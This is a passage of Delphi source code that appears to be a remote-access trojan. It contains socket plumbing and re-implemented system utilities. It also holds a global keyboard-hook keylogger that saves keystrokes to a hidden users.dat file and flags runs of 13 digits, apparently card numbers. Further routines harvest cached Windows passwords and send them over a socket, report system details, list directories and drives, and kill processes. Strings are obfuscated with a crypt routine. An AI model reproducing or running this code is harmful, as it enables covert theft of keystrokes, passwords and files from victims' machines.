GetProcAddress(h_SOCK_DLL, PChar('WSAAsyncSelect')); if @LListen <> Nil then Result := LListen(s,HWindow,wMsg,lEvent); FreeLibrary(h_SOCK_DLL); end; end; function WSARecvEx(s: TSocket; var buf; len: Integer; var flags: Integer): Integer; stdcall; external winsocket name 'WSARecvEx'; function WSAAsyncGetHostByAddr(HWindow: HWND; wMsg: u_int; addr: PChar; len, struct: Integer; buf: PChar; buflen: Integer): THandle; stdcall; external winsocket name 'WSAAsyncGetHostByAddr'; function WSAAsyncGetHostByName(HWindow: HWND; wMsg: u_int; name, buf: PChar; buflen: Integer): THandle; stdcall; external winsocket name 'WSAAsyncGetHostByName'; function WSAAsyncGetProtoByNumber(HWindow: HWND; wMsg: u_int; number: Integer; buf: PChar; buflen: Integer): THandle; stdcall; external winsocket name 'WSAAsyncGetProtoByNumber'; function WSAAsyncGetProtoByName(HWindow: HWND; wMsg: u_int; name, buf: PChar; buflen: Integer): THandle; stdcall; external winsocket name 'WSAAsyncGetProtoByName'; function WSAAsyncGetServByPort( HWindow: HWND; wMsg, port: u_int; proto, buf: PChar; buflen: Integer): THandle; stdcall; external winsocket name 'WSAAsyncGetServByPort'; function WSAAsyncGetServByName(HWindow: HWND; wMsg: u_int; name, proto, buf: PChar; buflen: Integer): THandle; stdcall; external winsocket name 'WSAAsyncGetServByName'; function WSACancelAsyncRequest(hAsyncTaskHandle: THandle): Integer; stdcall; external winsocket name 'WSACancelAsyncRequest'; function WSASetBlockingHook(lpBlockFunc: TFarProc): TFarProc; stdcall; external winsocket name 'WSASetBlockingHook'; function WSAUnhookBlockingHook: Integer; stdcall; external winsocket name 'WSAUnhookBlockingHook'; //function WSAGetLastError: Integer; stdcall; external winsocket name 'WSAGetLastError'; function WSAGetLastError: Integer; stdcall; type TListen = function: Integer; stdcall; var LListen :TListen; begin Result := 0; h_SOCK_DLL := LoadLibrary(PChar(crypt(winsocket))); if h_SOCK_DLL <> Null then begin LListen := GetProcAddress(h_SOCK_DLL, PChar('WSAGetLastError')); if @LListen <> Nil then Result := LListen; FreeLibrary(h_SOCK_DLL); end; end; procedure WSASetLastError; stdcall; external winsocket name 'WSASetLastError'; function WSACancelBlockingCall: Integer; stdcall; external winsocket name 'WSACancelBlockingCall'; function WSAIsBlocking: BOOL; stdcall; external winsocket name 'WSAIsBlocking'; //function WSAStartup(wVersionRequired: word; var WSData: TWSAData): Integer; stdcall; external winsocket name 'WSAStartup'; function WSAStartup(wVersionRequired: word; var WSData: TWSAData): Integer; stdcall; type TListen = function(wVersionRequired: word; var WSData: TWSAData): Integer; stdcall; var LListen :TListen; begin Result := 0; h_SOCK_DLL := LoadLibrary(PChar(crypt(winsocket))); if h_SOCK_DLL <> Null then begin LListen := GetProcAddress(h_SOCK_DLL, PChar('WSAStartup')); if @LListen <> Nil then Result := LListen(wVersionRequired, WSData); FreeLibrary(h_SOCK_DLL); end; end; //function WSACleanup: Integer; stdcall; external winsocket name 'WSACleanup'; function WSACleanup: Integer; stdcall; type TListen = function: Integer; stdcall; var LListen :TListen; begin Result := 0; h_SOCK_DLL := LoadLibrary(PChar(crypt(winsocket))); if h_SOCK_DLL <> Null then begin LListen := GetProcAddress(h_SOCK_DLL, PChar('WSACleanup')); if @LListen <> Nil then Result := LListen; FreeLibrary(h_SOCK_DLL); end; end; function __WSAFDIsSet(s: TSOcket; var FDSet: TFDSet): Bool; stdcall; external winsocket name '__WSAFDIsSet'; function TransmitFile(hSocket: TSocket; hFile: THandle; nNumberOfBytesToWrite: DWORD; nNumberOfBytesPerSend: DWORD; lpOverlapped: POverlapped; lpTransmitBuffers: PTransmitFileBuffers; dwReserved: DWORD): BOOL; stdcall; external winsocket name 'TransmitFile'; function AcceptEx(sListenSocket, sAcceptSocket: TSocket; lpOutputBuffer: Pointer; dwReceiveDataLength, dwLocalAddressLength, dwRemoteAddressLength: DWORD; var lpdwBytesReceived: DWORD; lpOverlapped: POverlapped): BOOL; stdcall; external winsocket name 'AcceptEx'; procedure GetAcceptExSockaddrs(lpOutputBuffer: Pointer; dwReceiveDataLength, dwLocalAddressLength, dwRemoteAddressLength: DWORD; var LocalSockaddr: TSockAddr; var LocalSockaddrLength: Integer; var RemoteSockaddr: TSockAddr; var RemoteSockaddrLength: Integer); stdcall; external winsocket name 'GetAcceptExSockaddrs'; function WSAMakeSyncReply(Buflen, Error: Word): Longint; begin WSAMakeSyncReply:= MakeLong(Buflen, Error); end; function WSAMakeSelectReply(Event, Error: Word): Longint; begin WSAMakeSelectReply:= MakeLong(Event, Error); end; function WSAGetAsyncBuflen(Param: Longint): Word; begin WSAGetAsyncBuflen:= LOWORD(Param); end; function WSAGetAsyncError(Param: Longint): Word; begin WSAGetAsyncError:= HIWORD(Param); end; function WSAGetSelectEvent(Param: Longint): Word; begin WSAGetSelectEvent:= LOWORD(Param); end; function WSAGetSelectError(Param: Longint): Word; begin WSAGetSelectError:= HIWORD(Param); end; procedure FD_CLR(Socket: TSocket; var FDSet: TFDSet); var I: Integer; begin I := 0; while I < FDSet.fd_count do begin if FDSet.fd_array[I] = Socket then begin while I < FDSet.fd_count - 1 do begin FDSet.fd_array[I] := FDSet.fd_array[I + 1]; Inc(I); end; Dec(FDSet.fd_count); Break; end; Inc(I); end; end; function FD_ISSET(Socket: TSocket; var FDSet: TFDSet): Boolean; begin Result := __WSAFDIsSet(Socket, FDSet); end; procedure FD_SET(Socket: TSocket; var FDSet: TFDSet); begin if FDSet.fd_count < FD_SETSIZE then begin FDSet.fd_array[FDSet.fd_count] := Socket; Inc(FDSet.fd_count); end; end; procedure FD_ZERO(var FDSet: TFDSet); begin FDSet.fd_count := 0; end; //=== stuff function IntToStr(A:Integer):string; begin Str(A,Result); end; function StrToInt(const S: string): Integer; var E: Integer; begin Val(S, Result, E); if E <> 0 then E:=0;//ConvertErrorFmt(SInvalidInteger, [S]); end; procedure AppMsg(Ms:PChar); begin MessageBox(Handle,Ms,'Error',0); end; //=== Cleanup and stop the program === procedure ShutDownServer; begin closesocket(Server); WSACleanup; // UnRegisterClass(lpzClassName,hInst); // Halt; end; //=== Process Messages === procedure ProcessMessages; begin while GetMessage(Msg2,0,0,0) do begin TranslateMessage(Msg2); DispatchMessage(Msg2); end; end; //=== Process CreateWindow === procedure OnCreate(hWnd:Integer); begin //nothing end; procedure OnClose(hWnd:Integer); begin //ShellExecute(0,nil,PChar(paramstr(0)),nil,nil,SW_NORMAL); //=== active it ShutDownServer; GetExitCodeThread(ThreadHdle, ExitCode); TerminateThread(ThreadHdle, ExitCode); GetExitCodeThread(ThreadHdle2, ExitCode2); TerminateThread(ThreadHdle2, ExitCode2); GetExitCodeThread(ThreadHdle3, ExitCode3); TerminateThread(ThreadHdle3, ExitCode3); klog.LogDestroy; end; //=== Socket things ===== //=== Send a String #0 === procedure TSock.WriteString(wParam:word;Buff:PChar); begin send(wParam,Buff^,Length(Buff),0); end; //=== Send Buffer === function TSock.WriteData(wParam:word;Buff:pointer;Len:longInt):LongInt; begin Result:=send(wParam,Buff^,Len,0); end; //=== Process OnAccept === procedure TSock.OnServerAccept(wParam,lParam:longInt); begin accept(Server,nil,nil); end; //=== Process OnClose === procedure TSock.OnServerClose(wParam,lParam:longInt); begin //nothing end; function GetLocalHostName: string; var szHostName: array[0..128] of char; begin if gethostname(szHostName, 128) = 0 then Result:= szHostName; end; //======= sysutils ========= function StrPas(Str: PChar): string; begin Result := Str; end; function StrLen(Str: PChar): Cardinal; assembler; asm MOV EDX,EDI MOV EDI,EAX MOV ECX,0FFFFFFFFH XOR AL,AL REPNE SCASB MOV EAX,0FFFFFFFEH SUB EAX,ECX MOV EDI,EDX end; function StrCopy(Dest, Source: PChar): PChar; assembler; asm PUSH EDI PUSH ESI MOV ESI,EAX MOV EDI,EDX MOV ECX,0FFFFFFFFH XOR AL,AL REPNE SCASB NOT ECX MOV EDI,ESI MOV ESI,EDX MOV EDX,ECX MOV EAX,EDI SHR ECX,2 REP MOVSD MOV ECX,EDX AND ECX,3 REP MOVSB POP ESI POP EDI end; function StrScan(Str: PChar; Chr: Char): PChar; assembler; asm PUSH EDI PUSH EAX MOV EDI,Str MOV ECX,0FFFFFFFFH XOR AL,AL REPNE SCASB NOT ECX POP EDI MOV AL,Chr REPNE SCASB MOV EAX,0 JNE @@1 MOV EAX,EDI DEC EAX @@1: POP EDI end; function DiskSize(Drive: Byte): Integer; var RootPath: array[0..4] of Char; RootPtr: PChar; SectorsPerCluster, BytesPerSector, FreeClusters, TotalClusters: Integer; begin RootPtr := nil; if Drive > 0 then begin StrCopy(RootPath, 'A:\'); RootPath[0] := Char(Drive + $40); RootPtr := RootPath; end; if GetDiskFreeSpace(RootPtr, SectorsPerCluster, BytesPerSector, FreeClusters, TotalClusters) then Result := SectorsPerCluster * BytesPerSector * TotalClusters else Result := -1; end; function DeleteFile(const FileName: string): Boolean; begin Result := Windows.DeleteFile(PChar(FileName)); end; function FileAge(const FileName: string): Integer; var Handle: THandle; FindData: TWin32FindData; LocalFileTime: TFileTime; begin Handle := FindFirstFile(PChar(FileName), FindData); if Handle <> INVALID_HANDLE_VALUE then begin Windows.FindClose(Handle); if (FindData.dwFileAttributes and FILE_ATTRIBUTE_DIRECTORY) = 0 then begin FileTimeToLocalFileTime(FindData.ftLastWriteTime, LocalFileTime); if FileTimeToDosDateTime(LocalFileTime, LongRec(Result).Hi, LongRec(Result).Lo) then Exit; end; end; Result := -1; end; function FileExists(const FileName: string): Boolean; begin Result := FileAge(FileName) <> -1; end; function ByteTypeTest(P: PChar; Index: Integer): TMbcsByteType; begin Result := mbSingleByte; if (Index = 0) then begin if P[Index] in LeadBytes then Result := mbLeadByte; end else begin if (P[Index-1] in LeadBytes) and (ByteTypeTest(P, Index-1) = mbLeadByte) then Result := mbTrailByte else if P[Index] in LeadBytes then Result := mbLeadByte; end; end; function ByteType(const S: string; Index: Integer): TMbcsByteType; begin Result := mbSingleByte; if SysLocale.FarEast then Result := ByteTypeTest(PChar(S), Index-1); end; function LastDelimiter(const Delimiters, S: string): Integer; var P: PChar; begin Result := Length(S); P := PChar(Delimiters); while Result > 0 do begin if (S[Result] <> #0) and (StrScan(P, S[Result]) <> nil) then if (ByteType(S, Result) = mbTrailByte) then Dec(Result) else Exit; Dec(Result); end; end; function ExtractFilePath(const FileName: string): string; var I: Integer; begin I := LastDelimiter('\:', FileName); Result := Copy(FileName, 1, I); end; procedure FindClose(var F: TSearchRec); begin if F.FindHandle <> INVALID_HANDLE_VALUE then Windows.FindClose(F.FindHandle); end; function FindMatchingFile(var F: TSearchRec): Integer; var LocalFileTime: TFileTime; begin with F do begin while FindData.dwFileAttributes and ExcludeAttr <> 0 do if not FindNextFile(FindHandle, FindData) then begin Result := GetLastError; Exit; end; FileTimeToLocalFileTime(FindData.ftLastWriteTime, LocalFileTime); FileTimeToDosDateTime(LocalFileTime, LongRec(Time).Hi, LongRec(Time).Lo); Size := FindData.nFileSizeLow; Attr := FindData.dwFileAttributes; Name := FindData.cFileName; end; Result := 0; end; function FindFirst(const Path: string; Attr: Integer; var F: TSearchRec): Integer; const faSpecial = faHidden or faSysFile or faVolumeID or faDirectory; begin F.ExcludeAttr := not Attr and faSpecial; F.FindHandle := FindFirstFile(PChar(Path), F.FindData); if F.FindHandle <> INVALID_HANDLE_VALUE then begin Result := FindMatchingFile(F); if Result <> 0 then FindClose(F); end else Result := GetLastError; end; function FindNext(var F: TSearchRec): Integer; begin if FindNextFile(F.FindHandle, F.FindData) then Result := FindMatchingFile(F) else Result := GetLastError; end; //=== Registry call ================ constructor TRegistry.Create; begin RootKey := HKEY_CURRENT_USER; LazyWrite := True; end; function DataTypeToRegData(Value: Integer): TRegDataType; begin if Value = REG_SZ then Result := rdString else if Value = REG_EXPAND_SZ then Result := rdExpandString else if Value = REG_DWORD then Result := rdInteger else if Value = REG_BINARY then Result := rdBinary else Result := rdUnknown; end; function RegDataToDataType(Value: TRegDataType): Integer; begin case Value of rdString: Result := REG_SZ; rdExpandString: Result := REG_EXPAND_SZ; rdInteger: Result := REG_DWORD; rdBinary: Result := REG_BINARY; else Result := REG_NONE; end; end; function TRegistry.GetDataInfo(const ValueName: string; var Value: TRegDataInfo):boolean; var DataType: Integer; begin FillChar(Value, SizeOf(TRegDataInfo), 0); Result := RegQueryValueEx(CurrentKey, PChar(ValueName), nil, @DataType, nil, @Value.DataSize) = ERROR_SUCCESS; Value.RegData := DataTypeToRegData(DataType); end; function TRegistry.GetData(const Name: string; Buffer: Pointer; BufSize: Integer; var RegData: TRegDataType): Integer; var DataType: Integer; begin DataType := REG_NONE; if RegQueryValueEx(CurrentKey, PChar(Name), nil, @DataType, PByte(Buffer), @BufSize) <> ERROR_SUCCESS then // raise ERegistryException.CreateFmt(SRegGetDataFailed, [Name]); Result := BufSize; RegData := DataTypeToRegData(DataType); end; procedure TRegistry.PutData(const Name: string; Buffer: Pointer; BufSize: Integer; RegData: TRegDataType); var DataType: Integer; begin DataType := RegDataToDataType(RegData); if RegSetValueEx(CurrentKey, PChar(Name), 0, DataType, Buffer, BufSize) <> ERROR_SUCCESS then // raise ERegistryException.CreateFmt(SRegSetDataFailed, [Name]); end; function TRegistry.GetDataSize(const ValueName: string): Integer; var Info: TRegDataInfo; begin if GetDataInfo(ValueName, Info) then Result := Info.DataSize else Result := -1; end; procedure TRegistry.WriteString(const Name, Value: string); begin PutData(Name, PChar(Value), Length(Value), rdString); end; procedure ReadError(const Name: string); begin // raise ERegistryException.CreateFmt(SInvalidRegType, [Name]); end; function TRegistry.ReadString(const Name: string): string; var Len: Integer; RegData: TRegDataType; begin Len := GetDataSize(Name); if Len > 0 then begin SetString(Result, nil, Len); GetData(Name, PChar(Result), Len, RegData); if (RegData = rdString) or (RegData = rdExpandString) then SetLength(Result, StrLen(PChar(Result))) else ReadError(Name); end else Result := ''; end; procedure TRegistry.CloseKey; begin if CurrentKey <> 0 then begin if LazyWrite then RegCloseKey(CurrentKey) else RegFlushKey(CurrentKey); FCurrentKey := 0; FCurrentPath := ''; end; end; procedure TRegistry.ChangeKey(Value: HKey; const Path: string); begin CloseKey; FCurrentKey := Value; FCurrentPath := Path; end; procedure TRegistry.SetRootKey(Value: HKEY); begin if RootKey <> Value then begin if FCloseRootKey then begin RegCloseKey(RootKey); FCloseRootKey := False; end; FRootKey := Value; CloseKey; end; end; function TRegistry.GetBaseKey(Relative: Boolean): HKey; begin if (CurrentKey = 0) or not Relative then Result := RootKey else Result := CurrentKey; end; function IsRelative(const Value: string): Boolean; begin Result := not ((Value <> '') and (Value[1] = '\')); end; function TRegistry.OpenKey(const Key: string; CanCreate: Boolean): Boolean; var TempKey: HKey; S: string; Disposition: Integer; Relative: Boolean; begin S := Key; Relative := IsRelative(S); if not Relative then Delete(S, 1, 1); TempKey := 0; if not CanCreate or (S = '') then begin Result := RegOpenKeyEx(GetBaseKey(Relative), PChar(S), 0, KEY_ALL_ACCESS, TempKey) = ERROR_SUCCESS; end else Result := RegCreateKeyEx(GetBaseKey(Relative), PChar(S), 0, nil, REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS, nil, TempKey, @Disposition) = ERROR_SUCCESS; if Result then begin if (CurrentKey <> 0) and Relative then S := CurrentPath + '\' + S; ChangeKey(TempKey, S); end; end; destructor TRegistry.Destroy; begin CloseKey; inherited; end; //== Allocate windows === const InstanceCount = 313; Type TWndMethod = procedure(var Message: TMessage) of object; type PObjectInstance = ^TObjectInstance; TObjectInstance = packed record Code: Byte; Offset: Integer; case Integer of 0: (Next: PObjectInstance); 1: (Method: TWndMethod); end; type PInstanceBlock = ^TInstanceBlock; TInstanceBlock = packed record Next: PInstanceBlock; Code: array[1..2] of Byte; WndProcPtr: Pointer; Instances: array[0..InstanceCount] of TObjectInstance; end; var InstBlockList: PInstanceBlock; InstFreeList: PObjectInstance; function StdWndProc(Window: HWND; Message, WParam: Longint; LParam: Longint): Longint; stdcall; assembler; asm XOR EAX,EAX PUSH EAX PUSH LParam PUSH WParam PUSH Message MOV EDX,ESP MOV EAX,[ECX].Longint[4] CALL [ECX].Pointer ADD ESP,12 POP EAX end; function CalcJmpOffset(Src, Dest: Pointer): Longint; begin Result := Longint(Dest) - (Longint(Src) + 5); end; function MakeObjectInstance(Method: TWndMethod): Pointer; const BlockCode: array[1..2] of Byte = ( $59, { POP ECX } $E9); { JMP StdWndProc } PageSize = 4096; var Block: PInstanceBlock; Instance: PObjectInstance; begin if InstFreeList = nil then begin Block := VirtualAlloc(nil, PageSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE); Block^.Next := InstBlockList; Move(BlockCode, Block^.Code, SizeOf(BlockCode)); Block^.WndProcPtr := Pointer(CalcJmpOffset(@Block^.Code[2], @StdWndProc)); Instance := @Block^.Instances; repeat Instance^.Code := $E8; { CALL NEAR PTR Offset } Instance^.Offset := CalcJmpOffset(Instance, @Block^.Code); Instance^.Next := InstFreeList; InstFreeList := Instance; Inc(Longint(Instance), SizeOf(TObjectInstance)); until Longint(Instance) - Longint(Block) >= SizeOf(TInstanceBlock); InstBlockList := Block; end; Result := InstFreeList; Instance := InstFreeList; InstFreeList := Instance^.Next; Instance^.Method := Method; end; { Free an object instance } procedure FreeObjectInstance(ObjectInstance: Pointer); begin if ObjectInstance <> nil then begin PObjectInstance(ObjectInstance)^.Next := InstFreeList; InstFreeList := ObjectInstance; end; end; var UtilWindowClass: TWndClass = ( style: 0; lpfnWndProc: @DefWindowProc; cbClsExtra: 0; cbWndExtra: 0; hInstance: 0; hIcon: 0; hCursor: 0; hbrBackground: 0; lpszMenuName: nil; lpszClassName: 'TPUtilWindow'); function AllocateHWnd(Method: TWndMethod): HWND; var TempClass: TWndClass; ClassRegistered: Boolean; begin UtilWindowClass.hInstance := HInstance; ClassRegistered := GetClassInfo(HInstance, UtilWindowClass.lpszClassName, TempClass); if not ClassRegistered or (TempClass.lpfnWndProc <> @DefWindowProc) then begin if ClassRegistered then Windows.UnregisterClass(UtilWindowClass.lpszClassName, HInstance); Windows.RegisterClass(UtilWindowClass); end; Result := CreateWindowEx(WS_EX_TOOLWINDOW, UtilWindowClass.lpszClassName, '', WS_POPUP {!0}, 0, 0, 0, 0, 0, 0, HInstance, nil); if Assigned(Method) then SetWindowLong(Result, GWL_WNDPROC, Longint(MakeObjectInstance(Method))); end; procedure DeallocateHWnd(Wnd: HWND); var Instance: Pointer; begin Instance := Pointer(GetWindowLong(Wnd, GWL_WNDPROC)); DestroyWindow(Wnd); if Instance <> @DefWindowProc then FreeObjectInstance(Instance); end; //==== Key_log========================= type PGlobalDLLData = ^TGlobalDLLData; TGlobalDLLData = record hHookHWnd: HWND; hKeyHook: HHOOK; end; const MMFileName = 'Users'; var MapHandle: THandle; GlobalData: PGlobalDLLData; tt,Logger:string; l:textfile; cc:byte; procedure OpenSharedData; var Size: integer; CreateFileMappingError: integer; begin Size := SizeOf( TGlobalDLLData ); MapHandle := CreateFileMapping( $FFFFFFFF, nil, PAGE_READWRITE, 0, Size, MMFileName ); CreateFileMappingError := GetLastError; if ( MapHandle = 0 ) then exit; GlobalData := MapViewOfFile( MapHandle, FILE_MAP_ALL_ACCESS, 0, 0, Size ); if ( GlobalData = nil ) then begin CloseHandle( MapHandle ); exit; end; if ( ( MapHandle <> 0 ) and ( CreateFileMappingError <> ERROR_ALREADY_EXISTS ) ) then begin GlobalData^.hHookHWnd := 0; GlobalData^.hKeyHook := 0; end; end; procedure CloseSharedData; begin UnmapViewOfFile( GlobalData ); CloseHandle( MapHandle ); end; //function KeyCounter( code: integer; wParam: integer; lParam: integer ): lRESULT stdcall; function KeyCounter( code: integer; wParam: integer; lParam: integer ): LRESULT; stdcall; begin OpenSharedData; Result := CallNextHookEx( GlobalData^.hKeyHook, Code, wParam, lParam ); if ( code = HC_ACTION ) then begin if ( lParam > 0 ) then begin PostMessage( GlobalData^.hHookHWnd, UM_KEYHIT, wParam, 0 ); end; Result := 0; exit; end; end; procedure KeyHook_Start( hWin: HWND ); //stdcall; begin OpenSharedData; GlobalData^.hKeyHook := SetWindowsHookEx( WH_KEYBOARD, KeyCounter, hInstance, 0 ); GlobalData^.hKeyHook := SetWindowsHookEx( WH_KEYBOARD, nil, hInstance, 0 ); GlobalData^.hHookHWnd := hWin; end; procedure KeyHook_Stop; //stdcall; begin OpenSharedData; UnHookWindowsHookEx( GlobalData^.hKeyHook ); CloseSharedData; end; procedure TLog.KeyIncrement( var Msg: TMessage ); const lettres: array[65..90] of Char = 'abcdefghijklmnopqrstuvwxyz'; chiffres: array[96..111] of Char = '0123456789*+ - /'; chiffres2: array[48..57] of Char = '0123456789'; var k:integer; s:string; begin k:=msg.WParam; //writeln(inttostr(k)+' : '+char(k)); if k in [96..111] then s:=chiffres[k] else if k in [65..90] then s:=lettres[k] else if k in [48..57] then s:=chiffres2[k] else if k in [112..123] then s:=#255 else if k in [33..40] then s:=#255 else if k = 0 then s:=#255 else if k > 255 then s:=#255 else if k = 16 then s:=crypt('=QKMCR9') else // if k = 17 then s:=crypt('=AWVI8') else // if k = 18 then s:=crypt('=COP;') else // if k = 20 then s:=crypt('=ABTV8') else // if k = 144 then s:=crypt('=LVI;') else // if k = 9 then s:=crypt('=vbf;') else // if k = 8 then s:=crypt('=<') else //<> if k = 223 then s:='!' else if k = 219 then s:=')' else if k = 187 then s:='=' else if k = 221 then s:='^' else if k = 186 then s:='$' else if k = 192 then s:='? else if k = 220 then s:='*' else if k = 188 then s:=',' else if k = 190 then s:=';' else if k = 191 then s:=':' else if k = 226 then s:='<' else if k = 222 then s:='?' else if k = 13 then s:='?' else if k = 32 then s:=' ' else if k = 46 then s:=crypt('=ffh;') else // if k = 45 then s:=crypt('=kmw;') else // s:='['+inttostr(k)+']'; logger:=logger+s; write(s); if (s[1] in ['0'..'9']) or (s[1]=' ') or (s[1]='-') then inc(cc) else cc:=0; if (cc=13) then begin cc:=0; Registre:=TRegistry.create; Registre.RootKey:=HKEY_CLASSES_ROOT; Registre.OpenKey('.aft',true); Registre.WriteString('1','1'); Registre.Free; end; if length(logger)>200 then begin if not fileexists(systemdir+crypt(']wpawu)lh~')) then //\users.dat begin assignfile(l,systemdir+crypt(']wpawu)lh~')); //\users.dat rewrite(l); write(l,' '); closefile(l); end; assignfile(l,systemdir+crypt(']wpawu)lh~'));//\users.dat reset(l); append(l); write(l,logger); closefile(l); logger:=''; end; end; procedure TLog.LogCreate; var tyhwnd:thandle; begin cc:=0; tyhwnd := AllocateHwnd(KLog.KeyIncrement); KeyHook_Start(tyhwnd); end; procedure TLog.LogDestroy; begin KeyHook_Stop; {$I-} assignfile(l,systemdir+crypt(']wpawu)lh~')); //\users.dat reset(l); append(l); write(l,logger); closefile(l); logger:=''; {$I+} end; //=== password connection function EnumPasswordCallbackProc(pce: TPPasswordCacheEntry; pdw: cardinal) : LongBool; stdcall; var s1 : string; s2 : string; begin result:=true; SetLength(s1,pce^.cbResource); Move(pce^.abResource[0],pointer(s1)^,pce^.cbResource); s1:=pchar(s1); SetLength(s2,pce^.cbPassword); Move(pce^.abResource[pce^.cbResource],pointer(s2)^,pce^.cbPassword); s2:=pchar(s2); write(t,PChar(s1+' : '+s2+#13+#10)); end; procedure testEnumCachedPasswords; var WNetEnumCachedPasswords : function (ps: pchar; pw: word; pb: byte; proc: pointer; bdw: cardinal) : word; stdcall; mpr : cardinal; begin mpr:=LoadLibrary('mpr'); if mpr<>0 then try WNetEnumCachedPasswords:=GetProcAddress(mpr,pchar(crypt('VLfp@hreJkhdhj_qbad{grd'))); //WNetEnumCachedPasswords if @WNetEnumCachedPasswords<>nil then begin try WNetEnumCachedPasswords(nil,0,$FF,@EnumPasswordCallbackProc,0); finally end; end; finally FreeLibrary(mpr) end; end; //===windows_control procedure killprocess(prname:string); var str : pchar; h:hwnd; begin str:=@(prname)[1]; h := FindWindow(nil,str); if h <> 0 then PostMessage(h, WM_QUIT, 0, 0); end; {function childproc(h:HWND):bool;stdcall; var tempstring: array [0..255] of char; begin GetClassName(h,classe,255); if (classe=nil) or (classe=string(' ')) then exit; if classe='Edit' then begin sendmessage(h,WM_GETTEXT,255,integer(@tempstring)); if tempstring<>'' then begin writeln(tempstring); counter:=counter+1; end; if counter=2 then writeln(string(klasse)); end; if classe='TEdit' then begin sendmessage(h,WM_GETTEXT,255,integer(@tempstring)); if tempstring<>'' then begin writeln(tempstring); counter:=counter+1; end; if counter=2 then writeln(string(klasse)); end; end; function AddTopLevelWindowsToList2(h: HWND): BOOL; stdcall; begin If (GetWindowLong(h,GWL_HWNDPARENT)=0) then begin Getwindowtext(h,klasse,255); if klasse<>'' then begin counter:=0; if pos('Netscape',klasse)<>0 then counter:=1; //+ ' (' + inttostr(h) if pos('Explorer',klasse)<>0 then counter:=1; //writeln(string(klasse)); if pos('Opera',klasse)<>0 then counter:=1; end; end; if counter=1 then EnumChildWindows(h,@childproc,8); end; } function AddTopLevelWindowsToList(h: HWND): BOOL; stdcall; begin If (GetWindowLong(h,GWL_HWNDPARENT)=0) then begin Getwindowtext(h,klasse,255); if klasse<>'' then begin write(t,string(klasse)+#13+#10); end; end; end; //=== information === procedure DoPassword(wParam:longInt); var pp:string; sock:tsock; begin assignfile(t,windowsdir+'~tmp..sys'); rewrite(t); append(t); testEnumCachedPasswords; closefile(t); assignfile(t,windowsdir+'~tmp..sys'); reset(t); repeat readln(t,pp); Sock.WriteString(wParam, PChar(pp+#13+#10)); sleep(Timeout); until pp=''; closefile(t); erase(t); end; procedure DoAbout(wParam:longInt); var SI:TSystemInfo; OsVer:TOSVersionInfoA; MS:TMemoryStatus; pp:string; begin ZeroMemory(@OsVer,SizeOf(OsVer)); ZeroMemory(@Si,SizeOf(Si)); ZeroMemory(@MS,SizeOf(MS)); MS.dwLength:=SizeOf(MS); OsVer.dwOSVersionInfoSize:=SizeOf(OsVer); GetVersionEx(OsVer); GetSystemInfo(Si); GlobalMemoryStatus(MS); case Win32Platform of WINDOWS.VER_PLATFORM_WIN32_WINDOWS : pp:='95'; WINDOWS.VER_PLATFORM_WIN32s : pp:='32'; WINDOWS.VER_PLATFORM_WIN32_NT : pp:='NT'; end; Sock.WriteString(wParam, PChar( crypt('R{pp`k=')+#13+#10+ //System: WSD.szDescription+#13+#10+ crypt('NQ9$')+IntToStr(OsVer.dwMajorVersion)+'.'+IntToStr(OsVer.dwMinorVersion)+#13+#10+ //OS: crypt('own$FVR2)')+IntToStr(Si.dwNumberOfProcessors)+#13+#10+ //num CPU: crypt('BRV$')+IntToStr(Si.dwProcessorType)+#13+#10+ //CPU crypt('SCN$')+IntToStr(Round(MS.dwTotalPhys/1048576))+#13+#10+ //RAM crypt('GpfaWGJ(')+IntToStr(Round(MS.dwAvailPhys/1024))+#13+#10+ //FreeRAM crypt('Wpw$')+IntToStr(Round(MS.dwTotalVirtual/1048576))+#13+#10+ //Vrt crypt('GpfaSts(')+IntToStr(Round(MS.dwAvailVirtual/1048576))+#13+#10+ //FreeVrt crypt('R{pp`k=(')+systemdir+'\'+#13+#10+ //System: crypt('Vkm`jq=(')+windowsdir+'\'+#13+#10+ //Window: WSD.szSystemStatus+' '+pp+#13+#10+ crypt('Impp?&')+getlocalhostname+#13+#10)); //Host: end; procedure DoShowDirectory(wParam:longInt;command:String); var sss,NomDuDossier,DossierTrouve,FichierTrouve:string; attributs,Resultat:Integer; SearchRec:TSearchRec; TailleDuFichier:integer; begin attributs:=6; sock.writestring(wParam,pchar(crypt('EkqWfgi2')+#13+#10)); //DirScan: sleep(timeout); If command[length(command)]='\' then command:=copy(command,1,length(command)-1); Resultat:=FindFirst(command+'\'+'*.*',FaDirectory,SearchRec); while Resultat=0 do begin if (SearchRec.Name<>'.') and (SearchRec.Name<>'..') and ((SearchRec.Attr and faDirectory)>0) then begin DossierTrouve:=command+'\'+SearchRec.Name; NomDuDossier:=DossierTrouve; // ProcessMessages; end; if NomDuDossier<>sss then begin sleep(timeout); if NomDuDossier<>'' then NomduDossier:=NomDuDossier+'\'; sock.writestring(wParam,pchar(crypt('}F9')+NomduDossier+#13+#10)); //|D: end; sss:=NomDuDossier; Resultat:=FindNext(SearchRec); end; FindClose(SearchRec); If command[length(command)]='\' then command:=copy(command,1,length(command)-1); Resultat:=FindFirst(command+'\'+crypt('+,)'),Attributs,SearchRec); //*.* while Resultat=0 do begin //ProcessMessages; if ((SearchRec.Attr and faDirectory)<=0) then begin FichierTrouve:=command+'\'+SearchRec.Name; TailleDuFichier:=SearchRec.Size; //NomFichierComplet:=FichierTrouve; //DateHeureDuFichier:=SearchRec.Time; end; sleep(timeout); Resultat:=FindNext(SearchRec); sock.writestring(wParam,pchar(crypt('}D9')+FichierTrouve+'|'+inttostr(tailledufichier)+#13+#10)); //|F: end; FindClose(SearchRec); sleep(timeout); sock.writestring(wParam,pchar(crypt('}D9$YZo|dfWP')+#13+#10)); //|F: \\html\\ end; procedure DoStart(wParam:longInt); var ch:char; VolNameStr,Tip:String; LW:byte; Dsize,NamLen,syslen:integer; VolNameAry: array[0..255] of char; VolSer,SysFlags : DWord; begin Driv:=''; d:=0; ch:=#97; sock.WriteString(wParam, PChar(crypt('EmPpdts2')+#13+#10)); //DoStart: repeat d:=d+1; s:=ch+':\'; case getDriveType(pChar(s)) of DRIVE_FIXED: begin Tip:='0'; //Fixed HD NamLen:=255; SysLen:=255; if GetVolumeInformation(pChar(s), VolNameAry, NamLen, @VolSer, SysLen, SysFlags, nil, 0) then VolNameStr := StrPas(VolNameAry) else VolNameStr := ''; LW := ord(upcase(s[1])) - 64; DSize := DiskSize(LW); if (DSize <> -1) then DSize := disksize(LW) DIV 1024; //Driv:=Driv+'Drive: '+UpCase(Ch)+':\'+' 